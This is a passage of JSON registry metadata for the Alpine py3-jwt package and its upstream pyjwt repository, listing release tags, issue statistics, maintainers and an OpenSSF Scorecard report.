_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.781Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":325,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2024-06-12T01:14:38.285Z","updated_at":"2024-06-12T01:14:38.285Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":4251,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1476},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-06-10T05:19:00.233Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":8677146,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-07-30T23:54:50.000Z","latest_release_published_at":"2023-07-30T23:54:50.000Z","latest_release_number":"2.8.0-r0","last_synced_at":"2026-03-17T05:14:15.858Z","created_at":"2023-12-20T10:28:12.148Z","updated_at":"2026-05-29T04:00:35.701Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update 